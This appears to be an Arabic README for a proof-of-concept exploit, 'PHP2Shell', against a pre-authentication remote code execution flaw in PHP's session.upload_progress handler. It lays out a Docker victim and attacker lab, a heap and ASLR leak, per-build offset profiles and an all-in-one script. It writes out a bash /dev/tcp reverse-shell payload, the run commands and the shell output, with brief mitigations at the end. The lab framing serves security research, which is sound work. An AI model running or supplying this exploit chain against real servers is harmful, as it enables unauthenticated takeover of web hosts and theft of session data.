
استغلال إثبات مفهوم لثغرة RCE قبل المصادقة في PHP session.upload_progress (PHP2Shell)، مع تسريب heap/ASLR، وملفات تعريف الإزاحات لكل إصدار بناء، ومعالج reverse shell شامل.
★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress Pre-Auth RCE PoC ★
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) هو ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة (Unauthenticated Remote Code Execution) في PHP ضمن Apache
mod_php. يؤدي طلبmultipart/form-dataمُصمَّم بعناية إلى إجهاض بسبب نفاد الذاكرة (out-of-memory bailout) في معالجsession.upload_progressالذي يعمل قبل الطلب، مما يترك مؤشرات قديمة (stale pointers) تُسرّب عناوين كومة Zend وقواعدlibphp.soعبرSet-Cookie(مما يُبطل ASLR)؛ ثم يُعيد جدول HashTable مُزوَّر توجيه مُدمِّر (destructor) إلىzif_system، فيُنفِّذ الأوامر بصلاحيات عامل الويب (www-data). لا تُشترط أي مصادقة، وإعدادات الجلسة القابلة للاستغلال مُفعَّلة افتراضيًا.
| الفئة | الإصدار |
|---|---|
| قابلة للاستغلال | PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x قبل التصحيح |
| مُصحَّحة | PHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 أو أحدث (2026-10-21) |
| تم التحقق منها على | php:8.4.26-apache الرسمي (Debian 13، amd64) |
الإزاحات (Offsets) خاصة بكل بناء (الإصدار · المعمارية · التوزيعة). يتضمن هذا الـ PoC ملف تعريف لـ
8.4.26-apache amd64؛ وتحتاج عمليات البناء الأخرى إلى ملفاتprofiles/*.jsonالخاصة بها.
www-data)libphp، وربما رموز الجلسات والمفاتيح) حتى قبل تنفيذ التعليمات البرمجية عن بُعدالضحية = php:8.4.26-apache الرسمي مع الإعدادات أدناه. يُشغِّل المهاجم العملية من حاوية
منفصلة (eqst-kali) على نفس جسر Docker؛ وتتصل الصدفة العكسية (reverse shell) بعنوان IP الخاص بها.
# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim # e.g. 172.17.0.2
# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
| الشرط المسبق | الحالة في هذا المختبر |
|---|---|
PHP 8.2–8.5 (قبل التصحيح) + Apache mod_php | PHP 8.4.26 / Apache 2.4.69، prefork |
session.upload_progress.enabled | مفعّل (افتراضي) |
session.use_strict_mode | 0 (افتراضي) |
display_errors | مفعّل (يُسرّب تسريب المرحلة الأولى) |
memory_limit | 128M (افتراضي — تُرك دون تغيير) |
post_max_size / upload_max_filesize > memory_limit (يسمح لجسم الطلب بالوصول إلى نفاد الذاكرة OOM) | 256M (التطبيقات القادرة على الرفع ترفع هذه القيم عادةً) |
| عملية عامل Apache واحدة (الحالة القديمة لكل عملية) | 1 |
ملاحظة حول المضيف (WSL2): على Windows Docker Desktop (WSL2) يعيّن النواة
libphpعند0x7c...، وهو أقل من فحص ASLR الخاص بالاستغلال الأصلي عند0x7F...، لذا يتجاهل التسريب الصالح. يقومp2s_shell.pyبتوسيع ذلك النطاق تلقائيًا. على مضيف Linux أصلي يكون التصحيح بلا تأثير.
p2s_shell.py هو عملية واحدة تفتح المستمع الخاص بها، وتجلب الاستغلال الأصلي،
وتختار الإزاحات من profiles/*.json حسب إصدار PHP للهدف، وتُشغّل السلسلة، وتلتقط
صدفة عكسية مُرقّاة إلى PTY (دون nc منفصل).
PoC/
├── Dockerfile # victim image (config inlined)
├── p2s_shell.py # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json # per-build offsets (system/dtor/htdata)
(vendor/exploit.py is auto-fetched from upstream at run time; not stored here)
متطلب أولي لمرة واحدة: جهّز حمولة الصدفة العكسية في جذر الويب الخاص بالضحية (حامل الأمر
بحجم 14 بايت، لذا تُوضع الحمولات الطويلة في ملف يُشغَّل عبر bash</w/c، وفقًا للمصدر الأصلي):
KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c" # /w = web root symlink
شغّل PoC من داخل المهاجم (المسارات نسبية إلى السكربت):
# interactive PTY shell (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php
# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'
يقوم ببصمة X-Powered-By: PHP/8.4.26، ويحمّل الملف التعريفي المطابق، ويفتح الصدفة:
[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
الخيارات:
--run 'c1;c2' — وضع الدفعات (لا حاجة إلى طرفية تفاعلية)--no-pty — الإبقاء على صدفة بسيطة بدلًا من الترقية إلى PTY--php-version / --arch — تجاوز بناء الهدف عندما يكون X-Powered-By مخفيًا--lport — منفذ الصدفة العكسية (يجب أن يطابق المنفذ المضمّن في /w/c، الافتراضي 4444)session.upload_progress.enabled = Off إذا لم يكن تقدم الرفع مستخدمًاdisplay_errors = Off في بيئة الإنتاج (يمنع تسريب المرحلة الأولى المضمّن)zend_mm_heap corrupted